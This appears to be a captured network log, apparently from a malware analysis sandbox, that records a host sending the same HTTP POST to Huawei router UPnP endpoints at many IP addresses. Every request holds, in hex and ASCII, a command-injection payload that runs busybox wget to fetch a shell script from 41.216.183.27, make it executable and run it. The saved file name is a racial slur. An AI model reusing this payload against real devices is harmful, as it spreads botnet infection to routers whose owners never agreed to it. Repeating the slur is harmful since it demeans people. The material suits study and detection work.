Feb 19, 2024 18:37:18.853334904 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.794625998 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	59262	31.200.123.228	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.159709930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	39912	37.72.249.80	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.503997087 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	55130	37.72.244.74	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.504328012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	50796	37.72.197.163	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.773477077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	38174	45.250.175.220	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.990920067 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.055203915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:12.198297977 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod 